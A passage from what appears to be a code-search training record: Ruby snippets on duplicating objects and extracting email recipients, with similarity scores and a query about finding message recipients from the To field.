"def record_longer_phrase\n compiled_phrase = compile_phrase\n compiled_phrase_length = compiled_phrase.word_count\n @phrases[compiled_phrase_length] ||= Hash.new(0)\n\n # The first duplicate we find needs to record both occurrances\n # TODO: Clean this up. Absolute mother to read.\n new_occurrances = @phrases[compiled_phrase_length][compiled_phrase] > 0 ? 1 : 2\n @phrases[compiled_phrase_length][compiled_phrase] += new_occurrances\n end",
"def try_dup\n self.dup\n end",
"def test_reuse_existing_chunks_when_prepend\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'a new test content', ['a new', ' ', 'test ', 'conte', 'nt']\n end",
"def << part\n @parts << part\n end",
"def dup\n\n # duplicate self\n rta = super\n\n # iterate through array and dup each hash\n rta.each_with_index do |w_hash, index|\n\n # dup the hash at this index\n rta[index] = w_hash.dup\n\n # to be complete, also dup the key/values in the hash, in case another hash/array is nested\n w_hash.each_pair do |k, v|\n rta[index][k] = v.dup if v.is_a? Hash\n end\n end\n\n # now everything should have new object_id's\n rta\n end",
"def remove_duplicates_recursivly (phrase, important, string)\n\ttype = [\"\"]\n\tremovables = [\"CC\", \",\"]\n\tphrase.each do |sub|\n\t\tif sub.exact_tag?(type)\n\t\t\t# it is a repetition\n\t\t\tif delete.empty?\n\t\t\t# If it is the first repetition, check the first\n\t\t\t# done to avoid checking every entity if in important\n\t\t\t\tdelete[!arr_in_phrase(important, sub.to_s)]\n\t\t\tend\n\t\t\t# save it\n\t\t\tsame << sub.to_s\n\t\t\tdelete << !arr_in_phrase(important, sub.to_s)\n\n\t\telsif sub.exact_tag?(removables)\n\t\t\t# it is not a repetition, but it is a connector of some sort (\",\" \"or\" \"and\" maybe something else?)\n\t\t\tto_remove = sub.to_s\n\t\telsif !sub.exact_tag?(removables)\n\t\t\t# not a repetition\n\t\t\tif !same.empty? && delete.any?{|boolean|boolean}\n\t\t\t\t# delete unnecessary information\n\t\t\t\t# need to implement: sub! every true and its left removable (from to_remove) and spaces by a space\n\t\t\t\t# if there is only one true, delete all removables\n\t\t\t\t# elsif the last one is false put its left removable (from to_remove)\n\t\t\t\t# before the last undeleted string, and delete the other removable so there wont be 2 of them. (example: one, two and three -> delete three -> one and two)\n\t\t\tend\n\t\t\tsame = [sub.to_s]\n\t\t\tdelete = []\n\t\t\tif sub.has? :tag\n\t\t\t\ttype = sub.tag\n\t\t\tend\n\t\tend\n\t\tstring = remove_duplicates_recursivly(sub, important, string)\n\tend\nend",
"def duplicate\n @account = Account.find(params[:id]).dup\n @account.name += ' - NEW'\n @account.username = ''\n @account.password = ''\n end",
"def duplicate_primary_key(duplicate_row:, key:, node_id:)\n # nothing\n end",
"def duplicate?\n\t\tother = Ng2::WordDetail.find(@word).last\n\t\t!other.nil? &&\n\t\tother.file_path == self.file_path &&\n\t\tother.line_no == self.line_no &&\n\t\tother.word_no == self.word_no\n\tend",
"def register_duplicated_card(original_card_id:, to_card_id:)\n Cache.hash_set(\"#{@batch_id}_duplicated_cards\", original_card_id, to_card_id)\n\n remapper = CardDuplicatorMapper::RemapLinkedCards.new(\n batch_id: @batch_id,\n )\n # remap the card that was just duplicated\n remapper.remap_cards(original_card_id, to_card_id)\n\n # if all have completed, then we run through them all, basically a last pass\n # to ensure we match any links that were created later than the duplicates, etc.\n # TODO: How to ensure all cards were mapped or if duplication failed?\n return unless all_cards_mapped?\n\n remapper.call\n end",
"def persist_message(params)\n message = params[:subscribable].messages.create(content: params[:message])\n params[:message_object] = message\n continue(params)\n end",
"def copy(seq, mailbox)\n tagged_response(\"COPY\", Net::IMAP::MessageSet.new(seq), to_utf7(mailbox))\n end",
"def inline!\n capture_existing_message_parts\n reset_message_body!\n\n add_text_part!\n add_html_part!\n add_attachments!\n\n message\n end",
"def duplicate\n \t\n \tjob = Job.find(params[:job_id].to_i)\n \n \tnewJob = Job.new\n \tnewJob.title = job.title\n \tnewJob.description = job.description\n \tnewJob.other_requirements = job.other_requirements\n\t newJob.admin_user_id = job.admin_user_id\n\t newJob.id_requester = job.id_requester\n\t newJob.id_status = job.id_status\n\t newJob.id_parent = job.id\n\t newJob.save\n \t\n \tredirect_to request.referer\n end",
"def dedup(match_section: true)\n unique = Items.new\n each do |item|\n unique.push(item) unless unique.include?(item, match_section: match_section)\n end\n\n unique\n end",
"def generate_message_id\n @@next_message_id += 1\n end",
"def duplicate\n p = self.dup\n p.name = 'COPY OF ' + name\n p.deleted_at = nil\n p.created_at = p.updated_at = nil\n p.taxons = taxons\n\n p.product_properties = product_properties.map { |q| r = q.dup; r.created_at = r.updated_at = nil; r }\n\n image_dup = lambda { |i| j = i.dup; j.attachment = i.attachment.clone; j }\n\n variant = master.dup\n variant.sku = 'COPY OF ' + master.sku\n variant.deleted_at = nil\n variant.images = master.images.map { |i| image_dup.call i }\n p.master = variant\n\n # don't dup the actual variants, just the characterising types\n p.option_types = option_types if has_variants?\n\n # allow site to do some customization\n p.send(:duplicate_extra, self) if p.respond_to?(:duplicate_extra)\n p.save!\n p\n end",
"def duplicate()\n bug( \"you must override duplicate()\" )\n end",
"def clone(entry_id)\n\t\t\tkparams = {}\n\t\t\t# Mix entry id to clone\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.queue_service_action_call('mixing', 'clone', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def dup\n # Call Array#map to get an array of dups of the elements, and add\n # them to a new Output.\n copy = Output.new.concat(super.map { |el| el.dup })\n copy.morphword = @morphword.dup unless @morphword.nil?\n return copy\n end",
"def create\n @content_group_clone = ContentGroup.new(content_group_clone_params)\n respond_to do |format|\n if @content_group_clone.save\n @content_group.content_group_items.each do |item|\n clone_item = item.dup\n clone_item.content_id = @content_group_clone.id\n clone_item.save\n end\n flash[:success] = 'Content group was successfully cloned.'\n format.html { redirect_to admin_content_group_url(@content_group_clone) }\n format.json { render :show, status: :created, location: @content_group_clone }\n else\n format.html { render :new }\n format.json { render json: @content_group_clone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set( message )\n\t\t\t@messages[ message.descriptor.type ] = message.dup\n\t\tend",
"def copy_attributes_from_raw_message\n if self.raw_message\n self.subject = self.headers['subject']&.last\n self.message_id = self.headers['message-id']&.last\n if self.message_id\n self.message_id = self.message_id.gsub(/.*</, '').gsub(/>.*/, '').strip\n end\n end\n end",
"def rewrite_body(message, content_type:, parts: [])\n message.body = nil\n message.content_type = content_type\n parts.each { |p| message.add_part(p) }\n end",
"def remove_duplicate_errors\n if errors[\"mailboxer_notification.conversation.subject\"].present? and errors[\"mailboxer_notification.subject\"].present?\n errors[\"mailboxer_notification.conversation.subject\"].each do |msg|\n errors[\"mailboxer_notification.conversation.subject\"].delete(msg)\n end\n end\n end",
"def <<(content)\n @parts << content\n end",
"def duplicate\n order = current_owner.orders.find(params[:order_id])\n duplicate_order = order.duplicate\n\n respond_to do |format|\n if !duplicate_order.nil? && duplicate_order.save\n format.html { redirect_to edit_order_url(duplicate_order.id), notice: 'Order duplicated successfully' }\n format.json { render :show, status: :created, location: orders_path }\n else\n format.html { redirect_to edit_order_url(order.id) }\n # TODO: using 400 here as a placeholder\n format.json { render :show, status: 400 }\n end\n end\n end",
"def push( contents )\n @write_lock.synchronize do\n query( \"INSERT INTO messages (content) VALUES (?)\", contents )\n db.last_insert_rowid\n end\n end",
"def replicate_order\n ep = EventPositioning.find_by_id(params[:id])\n if params[:copy_type]\n EventPositioning.replicate_order(ep, params[:copy_type]) \n #if EP which is copying the position is a live EP then clear the cache\n sweep_event_data_feed if ep.live?(:hep)\n end \n redirect_to edit_admin_event_positioning_path(ep)\n end",
"def deep_dup; end",
"def duplicate\n\t\tid = params[:id]\n\n\t\tmodel = entity.with_relationships.find_by(id: id)\n\n\t\tnew_model = entity.duplicate(model)\n\n\t\trender json: new_model.to_json(\n\t\t:include => [\n\t\t\t:translations,\n\t\t\t:gallery\n\t\t]),\n\t\tstatus: 200\n\n\tend",
"def duplicate!(bloc_owner = self.newsletter)\n duplicated_bloc = bloc_owner.blocs.build({\n position: self.position,\n type: self.type,\n content: self.content\n })\n\n if self.image?\n duplicated_bloc.remote_image_url = self.image.url\n end\n\n duplicated_bloc.save\n duplicated_bloc\n end",
"def flatten(message, parts)\n parts.each do |part|\n if part.multipart?\n flatten(message, part.parts)\n else\n message.parts << part\n end\n end\n message\n end",
"def dup_copy\n @num_copies += 1\n @num_in += 1\n\n puts \"Great now we have #{@num_copies}!\"\n end",
"def duplicate\n \n job = Job.find(params[:job_id].to_i)\n \n newJob = Job.new\n newJob.title = job.title\n newJob.description = job.description\n newJob.other_requirements = job.other_requirements\n newJob.admin_users_id = job.admin_users_id\n newJob.id_requester = job.id_requester\n newJob.id_status = job.id_status\n newJob.id_parent = job.id\n newJob.save\n \n redirect_to request.referer\n end",
"def pbt_dup_build(item_to_duplicate, &block)\n self.class.pbt_dup_build(self, item_to_duplicate, &block)\n end",
"def test_reuse_existing_chunks_when_append\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'test content updated', ['test ', 'conte', 'nt', ' upda', 'ted']\n end",
"def make_single_item(message)\n #filter the sensitive words\n title_r = message.title\n description_r = message.shorten_content\n title = '%s' % title_r\n description = '%s' % description_r\n picUrl = message.imgthumbnail\n \n item = NEWS_MSG_ITEM_TPL % [title, description, picUrl, message.url]\n #item = NEWS_MSG_ITEM_TPL\n end"
] |
[
"0.6750182",
"0.6711373",
"0.6142976",
"0.59297216",
"0.56527936",
"0.561795",
"0.56056607",
"0.55850834",
"0.5555147",
"0.5487492",
"0.5387761",
"0.5357841",
"0.534906",
"0.53393614",
"0.5322278",
"0.5310345",
"0.5227316",
"0.52197605",
"0.518457",
"0.517322",
"0.5138059",
"0.511689",
"0.51091224",
"0.5080639",
"0.50797325",
"0.5077115",
"0.5076232",
"0.5076232",
"0.5063057",
"0.50618136",
"0.5059892",
"0.5057044",
"0.5030955",
"0.50040996",
"0.49984977",
"0.49922127",
"0.49886265",
"0.49623957",
"0.49597642",
"0.4959351",
"0.49584463",
"0.49561614",
"0.49373525",
"0.49219456",
"0.4903677",
"0.49017492",
"0.4889903",
"0.48888457",
"0.48850533",
"0.48836076",
"0.48669502",
"0.48654288",
"0.48557487",
"0.48429054",
"0.48276007",
"0.48262537",
"0.48241916",
"0.48207286",
"0.48084718",
"0.48077828",
"0.48008603",
"0.4795591",
"0.47777098",
"0.47661886",
"0.47618756",
"0.4758139",
"0.4754676",
"0.47354004",
"0.47352725",
"0.4722811",
"0.47191772",
"0.47160375",
"0.47131127",
"0.47093338",
"0.47072622",
"0.47013146",
"0.47011694",
"0.46987018",
"0.46916953",
"0.46865264",
"0.46855065",
"0.46852496",
"0.46831256",
"0.46827862",
"0.46767735",
"0.46749178",
"0.46640912",
"0.4662511",
"0.46559536",
"0.46552786",
"0.4645537",
"0.46454394",
"0.4642473",
"0.46296093",
"0.461331",
"0.46085933",
"0.460772",
"0.46044585",
"0.45979667",
"0.4593052"
] |
0.77275276
|
0
|
Detects a list of emails which should be used to define a list of recipients of encrypted message. All is simply taken from the message +To:+ field.
|
def find_recipients_for(message)
message.to_addrs
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recipients_list\n to.split(/\\s*,\\s*/)\n end",
"def recipients\n notified_users.collect(&:mail)\n end",
"def recipients_from_body\n @recipients_from_body ||= begin\n emails_from_body = body.scan(EMAIL_REGEX)\n address_list_for(emails_from_body, true)\n rescue Mail::Field::ParseError\n []\n end\n end",
"def recipients\n (Array(msg['to']) | Array(msg['cc'])).compact\n end",
"def recipient_list(r)\n @recipients = []\n @failed_recipients = []\n r.gsub(\",\", \" \").split(\" \").each do |a|\n a.strip!\n if valid_email(a)\n @recipients << a\n else\n @failed_recipients << a\n end\n end\n end",
"def get_recipients_from_lists(lists)\n recipients = Set.new\n lists.each do |list|\n list.users.each do |user|\n recipients << user.email\n end\n end\n recipients.to_a\n end",
"def legal_emails\n %w[stmm.confirmation@kristoffs.com\n stmm.confirmationa@aol.com\n paul@kristoffs.com\n paul.kristoff@kristoffs.com\n retail@kristoffs.com\n justfaith@kristoffs.com\n financial@kristoffs.com]\n end",
"def recipients\n @recipients ||= message['receipt']['recipients'].map do |recipient|\n Mail::Address.new(recipient)\n end\n end",
"def recipients\n notified = project.notified_users\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"def recipients\n RMail::Address::List.new([ to, cc, bcc ].flatten.uniq)\n end",
"def recipient_emails\n [patient.try(:email), doctor.try(:email)].compact\n end",
"def recipient_emails\n recipients.map(&:first)\n end",
"def emails\n email.split(/[, ]/)\n end",
"def find_emails(opts)\n emails.reverse.select do |email|\n email.to.include?(opts[:to]) || email.subject == opts[:subject]\n end\n end",
"def recipients\n notified = []\n # Author and assignee are always notified unless they have been\n # locked or don't want to be notified\n notified << author if author\n if assigned_to\n notified += (assigned_to.is_a?(Group) ? assigned_to.users : [assigned_to])\n end\n notified = notified.select {|u| u.active? && u.notify_about?(self)}\n\n notified += project.notified_users\n notified.uniq!\n # Remove users that can not view the contact\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"def email_addresses(objects)\n conference = [objects].flatten.first.conference\n if !conference.send_all_emails_to.blank?\n conference.send_all_emails_to.split(' ')\n else\n objects.map{|o| o.email unless o.email.blank?}.uniq.compact\n end\n end",
"def recipients\n notified = project.notified_users\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"def all_emails(current_user)\n mails = []\n self.users.map{ |u| mails << u.email unless u == current_user || !u.accepting_emails }.compact.join(\", \")\n end",
"def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"def email_list\n @entries.collect do |line|\n name, email = line.split(\",\")\n format_email_address name, email.chomp\n end.join(\", \")\n end",
"def participants_email_list(exclude_email=nil)\n participants(exclude_email).collect{ |p| \"#{p[0]} <#{p[1]}>\" }.join(\", \")\n end",
"def get_to_addresses\n\n return [] if self.to_addresses.nil?\n return self.to_addresses.split(Email::ADDRESS_SEPARATOR)\n end",
"def recipients\n @recipients ||= User.where(id: self.user_ids.split(/,/))\n end",
"def email_addresses\n emails.map(&:address)\n end",
"def emails_send_to\n (emails + [cc.presence]).compact.uniq.to_sentence\n end",
"def recipients_from_string(emails_str)\n rec_strs = emails_str.to_s.split(/[\\;\\,]+/)\n rec_strs.map! do |rs|\n ValidateEmail.valid?(rs.strip) ? rs.strip : nil\n end\n rec_strs.compact!\n rec_strs.length == 1 ? rec_strs[0] : rec_strs\n end",
"def recipients\n return Array.wrap(@recipients) unless @recipients.blank?\n @recipients = receipts.map { |receipt| receipt.receiver }\n end",
"def getEmailList()\n emailListFile = File.dirname(File.dirname(__FILE__)) + \"/config/\" +\n \"email_recepients.txt\"\n lines = IO.readlines(emailListFile)\n\n lines.each do |line|\n if line.match(/^EMAIL_RESULTS/)\n temp = line.gsub(/EMAIL_RESULTS=/, \"\")\n temp.strip!\n @resultRecepients = temp.split(\",\")\n elsif line.match(/^EMAIL_ERRORS/)\n temp = line.gsub(/EMAIL_ERRORS=/, \"\")\n temp.strip!\n @errorRecepients = temp.split(\",\") \n elsif line.match(/^EMAIL_CAPTURE/)\n temp = line.gsub(/EMAIL_CAPTURE=/, \"\")\n temp.strip!\n @captureRecepients = temp.split(\",\") \n end\n end\n end",
"def recipients_in_list\n if request.get?\n render :layout => \"modal\"\n return\n end\n \n list = params[:accounts].strip.split(/\\n|,/).uniq\n conditions = [\n \"(erp_account_number IN (:list) OR serial_number IN (:list))\",\n { :list => list }\n ]\n conditions.first << \" AND do_not_contact = false\" unless params[:ignore_do_not_contact]\n @recipients = StoreUser.find(\n :all,\n :conditions => conditions,\n :joins => \"LEFT OUTER JOIN serial_numbers ON serial_numbers.account_num = erp_account_number\",\n :include => \"customer\"\n ) rescue []\n render :partial => \"mail_recipients\", :layout => false\n end",
"def recipients_to_notify\n\t\tif self.which_user_ids_should_receive_notifications.blank?\n\t\t\t#puts \"which user ids is blank\"\n\t\t\t[Notification::Recipient.new(user_id: self.created_by_user_id.to_s)]\n\t\telse\n\t\t\t#puts \"it is not blank\"\n\t\t\tself.which_user_ids_should_receive_notifications[0..5].map{|user_id|\n\t\t\t\tNotification::Recipient.new(user_id: user_id)\n\t\t\t}\n\t\tend\n\tend",
"def email_list\n end",
"def notification_email_addresses\n emails = []\n if self.billing_address.email.blank? and self.shipping_address.email.blank? and !self.user.nil?\n emails << self.user.email\n elsif self.shipping_address.nil? and !self.billing_address.email.blank?\n emails << self.billing_address.email\n else\n if (!self.user.nil? and !self.user.email.blank?)\n emails << self.user.email\n end\n emails << self.billing_address.email unless self.billing_address.email.blank?\n emails << self.shipping_address.email unless self.shipping_address.email.blank?\n end\n \n return emails.uniq\n end",
"def get_emails\n emails = [self.email1, self.email2, self.email3]\n emails.compact!\n emails.delete('')\n return emails\n end",
"def emails\n ([purchased_by.try(:email)] + [email] + [user.try(:email)] + Array(organization.try(:billing_emails))).map(&:presence).compact.uniq\n end",
"def add_email_addresses!(list_of_email_addresses)\n email_addresses = Expect.normalize_string_to_array(list_of_email_addresses)\n \n email_addresses.each do |email_address|\n add_email_address!(email_address)\n end\n end",
"def emails\n self[\"gd$email\"] ? self[\"gd$email\"].map { |e| e.address } : []\n end",
"def complete_email_list\n #Email.select(:email).map{|email_record| email_record.email}\n User.all.map(&:email)\n end",
"def parse_email_address(emails,check_for_shared_netids=nil)\n emails = check_for_shared_netid(emails,1) if check_for_shared_netids\n emails = emails.split(\"|\") if emails =~ /|/\n if emails.class.to_s == \"String\"\n parsed_emails = emails + \"@\" + @configuration[:domain] if emails !~ /@/\n elsif emails.class.to_s == \"Array\"\n # this is ugly\n emails_string = \"\"\n emails.each do |address|\n address = address + \"@\" + @configuration[:domain] if address !~ /@/\n emails_string += \"#{address}, \"\n end\n emails_string.chomp(\", \")\n end\n end",
"def convert_email\n %w[paul@kristoffs.com paul.kristoff@kristoffs.com retail@kristoffs.com justfaith@kristoffs.com financial@kristoffs.com]\n end",
"def recipient_list(workgroup)\n list = Array.new\n wrkgrpusrs = WorkgroupUser.find(:all, :conditions => {:workgroup_id => workgroup})\n wrkgrpusrs.each do |usr|\n s = User.find(:first, :conditions => {:id => usr.user_id})\n list << s.email unless s.email.nil? || s.email == \"\"\n end\n if list.length < 1\n list << \"blank@example\" #duct-tape-uber-hack an empty array of recipients breaks the mailer and cause the referral to not be sent...\n end\n return list\n end",
"def recipients\n @recipients ||= User.find_all_by_id(recipient_ids)\n end",
"def filtered_recipients\n return recipients unless mailable.respond_to?(:conversation)\n\n recipients.each_with_object([]) do |recipient, array|\n array << recipient if mailable.conversation.has_subscriber?(recipient)\n end\n end",
"def convert_emails(emails, used)\n legal_used = []\n emails.each do |em|\n legal_used << em if legal_emails.include? em\n end\n emails.map do |em|\n convert_if_not_production(em, used, legal_used)\n end\n end",
"def email_all\n wc = Incoming::Workcamp.find(params[:id])\n addresses = wc.participants.map { |p| p.organization.email.to_s.strip }\n redirect_to \"mailto:#{addresses.join(',')}\"\n end",
"def parse\n emails = @email_list.scan(/\\w+@\\w+.\\w+/)\n emails.uniq\n end",
"def email_ids\n []\n end",
"def my_parse_recipients(mail)\n %W(to cc bcc).inject({}) do |acc, header|\n acc[header] = [mail.header[header]].flatten.collect {|address| address.to_s}\n acc\n end\n end",
"def recipients\n Array.wrap(::User.find_by_user_key(@work.depositor))\n end",
"def recipients_filtered_by_email_setting\n recipients\n .where.not(email: nil)\n .includes(:email_setting)\n .where(email_settings: email_setting_filter.merge(global_unsubscribe: false))\n end",
"def parse_recipients(addresses)\n list_addresses = addresses.gsub(/[\\r\\n]+/, '').gsub(/(@((?:[-a-z0-9]+\\.)+[a-z]{2,})(\\>)?)\\,/i, '\\1'+\"\\n\")\n list_addresses.split(\"\\n\").map{|full_address|\n {'name' => extract_name(full_address), 'email' => extract_email_address(full_address)}\n }\n end",
"def all_organizations_emails\n orgs = apply_forms.accepted.select(:organization_id).map(&:organization_id)\n mails = EmailContact.incoming.where('organization_id in (?)',orgs).select(:address).map(&:address)\n mails.join(', ')\n end",
"def subscribe_to_lists(list_names, email)\n walk_recipients(list_names, email) do |lr, list_id, contact_id|\n if lr.nil?\n ::Mailjet::Listrecipient.create(list_id: list_id, contact_id: contact_id, is_unsubscribed: 'false')\n elsif lr.is_unsubscribed\n lr.update_attributes(is_unsubscribed: 'false', unsubscribed_at: nil)\n end\n end\n rescue ::Mailjet::ApiError\n # ignore\n end",
"def address_list_for(emails, retried = false)\n emails = emails * \", \"\n list = Mail::AddressList.new(self.class.unescape(emails))\n addrs = list.addresses.each { |a| a.decoded }\n addrs.uniq!\n addrs\n rescue Mail::Field::ParseError\n if retried\n raise\n else\n address_list_for(emails.scan(EMAIL_REGEX), true)\n end\n end",
"def recipients\n return [] unless original_message\n Array original_message.recipients\n end",
"def email_addresses\n\t\treturn [self]\n\tend",
"def get_email_recipients(resource)\n if resource.creators.present?\n email_recipients = resource.creators\n else\n email_recipients = [resource.contributor] unless resource.contributor.nil?\n end\n email_recipients = email_recipients - [ User.current_user.person ] unless email_recipients.nil?\n end",
"def emails_sent_to(recipient)\n self.current_emails = all_emails.select { |email| [email.to, email.cc, email.bcc].flatten.compact.include?(recipient) }.map do |email|\n driver = Capybara::Email::Driver.new(email)\n Capybara::Node::Email.new(Capybara.current_session, driver)\n end\n end",
"def recipients\n [self.to, self.cc, self.bcc].flatten.compact\n end",
"def emails\n Array(@emails)\n end",
"def recipients\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/recipients\")\n end",
"def to_addresses\n emails = interest_addresses.concat(focus_addresses)\n if emails.empty?\n emails << 'info@unglobalcompact.org'\n end\n emails.uniq\n end",
"def email_sub(emails)\n subs = self.config[:sub]\n if subs.nil? || subs.empty?\n emails\n else\n emails.map do |email|\n # Apply substitutions to and return a copy of the email\n email_sub = email.slice(0..-1)\n subs.each { |sub| email_sub.gsub!(sub[0], sub[1]) }\n email_sub\n end\n end\n end",
"def all_applications_emails\n apply_forms.accepted.select(:email).map(&:email).join(', ')\n end",
"def email_list(event_id, exclude_owner = false)\n list = Array.new\n @event = Event.includes(:users).find(event_id)\n\n @event.users.where(:notification_emails => true).each do |user|\n list.push(user.email)\n end\n\n if(exclude_owner)\n list.delete(@event.owner.email)\n end\n\n return list\n end",
"def email_list\n self.readers.map do |reader_instance|\n reader_instance.email\n end.join(\";\")\n end",
"def send_to_admins\n @all_recipients = User.where(:receive_admin_email => true)\n raise NoRecipients if @all_recipients.blank?\n @all_recipients.group_by(&:language).each do |lang, users|\n @recipients = users\n mail_with_locale users, lang\n end\n end",
"def gather_recipients\n\t\tarr = (self.recipients_to_notify + self.recipients + self.additional_recipients).reject{|c| self.disable_recipient_ids.include? c.id.to_s}\n\t\tif arr.select{|c|\n\t\t\tc.user_id == self.created_by_user_id\n\t\t}.size == 0\n\t\t\tarr << Notification::Recipient.new(user_id: self.created_by_user_id)\n\t\tend\n\t\tarr\n\tend",
"def calculate_recipients\n # TODO (Step 3) - Fix, not working\n SUBSCRIBERS.filter do |email|\n !UNSUBSCRIBED.include?(email)\n end\nend",
"def extract_emails(emails)\n return [] if emails.blank?\n\n emails.\n split(',').\n select { |email| ::EmailValidator.valid?(email) }.\n first(100)\n end",
"def targets_for_address\n email_settings[\"targets\"].split(\",\")\n end",
"def getEmailList\n\t\tdata = index()\n\t\temailList = []\n\t\tdata.each do |person|\n\t\t\temailList.push(\"#{person[\"email_address\"]}\")\n\t\tend\n\t\treturn emailList\n\tend",
"def recipients(order = nil)\n if !@recipients.key?(order)\n order = Array(order)\n order = self.class.recipient_header_order if order.empty?\n recipients = []\n\n emails = order.inject([]) do |memo, key|\n memo.push *send(\"recipients_from_#{key}\")\n end\n\n @recipients[order] = emails.map! { |em| em.address }\n @recipients[order].uniq!\n end\n @recipients[order]\n end",
"def get_email_list\n return get_townhall_list_and_url.map{|town, url| {town => get_townhall_email(url)}}\n end",
"def emails(text)\n scan(text, EMAIL, :email)\n end",
"def recipients_from_delivered_to\n @recipients_from_delivered_to ||= unquoted_address_header('delivered-to')\n end",
"def unique_recipients\n @unique_recipients ||= if config && notifications = config['notifications']\n notifications['recipients']\n else\n recipients = [committer_email, author_email, repository.owner_email]\n recipients.select(&:present?).join(',').split(',').map(&:strip).uniq.join(',')\n end\n end",
"def recipient_ids=(list)\n list.reject(&:blank?).map do |gid|\n deliveries.build(recipient: GlobalID::Locator.locate(gid))\n end\n end",
"def get_emails(emails,incidente)\n return ['informatica@botica.com.py'] if RAILS_ENV.include?'development'\n area_id=incidente.funcionario.cargo.area_id\n cargo_ids=Cargo.find(:all,:select=>'id',:conditions=>{:area_id=>area_id,:recibe_mails_hechos=>true}).map(&:id)\n mails1=Usuario.activos.find(:all,:select=>'email',:conditions=>{:cargo_id=>cargo_ids}).map(&:email)\n mails2=case true\n when (!emails[:parametro].blank? and !emails[:direcciones].blank?)\n Parametro.destinatarios(emails[:parametro]).concat(emails[:direcciones]).uniq\n when !emails[:parametro].blank?\n Parametro.destinatarios(emails[:parametro])\n when !emails[:direcciones].blank?\n emails[:direcciones].uniq \n else\n [\"no-responder@botica.com.py\"]\n end\n mails1.concat(mails2).uniq\n end",
"def add_to_email_list(emails = \"\", email_to_add = \"\")\n if emails.class == String\n emails << \", #{email_to_add}\"\n elsif emails.class == Array\n emails << email_to_add\n end\n emails\n end",
"def send_emails\n mail = build_mail\n get_recipients do |recipient|\n unless EmailResponse.exists?(email: recipient.email) # bounces & complaints\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end\n end\n end",
"def member_emails\n ASF::Member.emails(members_txt)\n end",
"def recipients_from_original_to\n @recipients_from_original_to ||= unquoted_address_header('x-original-to')\n end",
"def recipients\n if self.last_message\n recps = self.last_message.recipients\n recps = recps.is_a?(Array) ? recps : [recps]\n return recps\n end\n return []\n end",
"def vcard_emails(data, uri)\n # TODO: consider using regex: /.+@.+\\..+/i\n # The 'email' field might contain multiple entries, separated by\n # various kinds of delimiter and each item is not necessarily\n # validated, so this is an attempt to clean up some things, but\n # it's not fool proof. For more on this topic, see\n # http://davidcel.is/posts/stop-validating-email-addresses-with-regex/\n emails = []\n collect = data['email'].split rescue []\n collect.each_with_index do |email, i|\n email = email.gsub(/,\\z/,'').gsub(/>.*/,'').gsub(/\\A</,'')\n emails << {\n '@id' => uri + \"/email/#{i}\",\n 'a' => ['vcard:Email'], # must be array to allow addition of types\n 'vcard:email' => email\n }\n end\n emails\n end",
"def parse\n @emails.split(/[,\\s]+/).uniq\n end",
"def recipients(order = nil)\n if !@recipients.key?(order)\n order = self.class.recipient_header_order if order.blank?\n recipients = []\n\n order.each do |key|\n parse_email_headers(send(\"recipients_from_#{key}\"), recipients)\n end\n parse_email_headers recipients_from_body, recipients\n\n recipients.flatten!\n recipients.uniq!\n @recipients[order] = recipients\n else\n @recipients[order]\n end\n end",
"def fs_contact_addresses_array\n pre_format = fscontact.blank? ? evaluator : fscontact\n return [] if pre_format.nil?\n\n pre_format.split(',').map do |a|\n (a =~ /@/ ) ? a : a + '@' + SCs[:standard_mail_domain]\n end\n end",
"def process_email(email, subscriber)\n recipients = list.recipients(subscriber)\n process_message messages.build(\n :mail_list => self,\n :subscriber => subscriber,\n :recipients => recipients,\n :email => email\n ), :copy_sender => list.copy_sender?(subscriber)\n end",
"def send_email_message (template_name, message_tokens, recipient_list, subject)\n recipient_list = Array(recipient_list) unless recipient_list.is_a?(Array)\n\n puts recipient_list\n\n @message_tokens = message_tokens\n\n recipient_list.each do |recipient|\n mail( to: recipient,\n subject: subject,\n template_name: template_name\n ).deliver\n end\n end",
"def update_list\n\t\tif emails_changed? and from_contacts\n\t\t\temails_was_arr = emails_was.split(\",\")\n\t\t\temails_arr = emails.split(\",\")\n\t\t\tdeleted_emails = emails_was_arr.diff emails_arr\n\t\t\tadded_emails = emails_arr.diff - emails_was_arr\n\t\t\t\n\t\t\tdeleted_emails.each do |email|\n\t\t\t\tnewsletter.email_service(delete_member_from_list(email))\n\t\t\tend\n\n\t\t\tadded_emails.each do |email|\n\t\t\t\tnewsletter.email_service(add_member_to_list(email))\n\t\t\tend\n\t\tend\n\tend",
"def build_user_emails_for_edit\n @edit[:user_emails] = {}\n to_email = @edit[:new][:email][:to] || []\n users_in_current_groups = User.with_groups(User.current_user.miq_groups).distinct.sort_by { |u| u.name.downcase }\n users_in_current_groups.each do |u|\n next if u.email.blank?\n next if to_email.include?(u.email)\n\n @edit[:user_emails][u.email] = \"#{u.name} (#{u.email})\"\n end\n end",
"def user_email_list\n @email_list = []\n\n EmailList.all.each do |email|\n if email.creator_id == current_user.id\n @email_list << email \n end\n end\n @email_list\n end",
"def plain_addresses(responder_id, data = [])\n responder responder_id\n data.each do |email|\n add_recipient email\n end\n end",
"def admin_emails\n admins.collect { |p| p.confirmed_notification_email_addresses } .flatten\n end",
"def admin_emails\n admins.collect { |p| p.confirmed_notification_email_addresses } .flatten\n end",
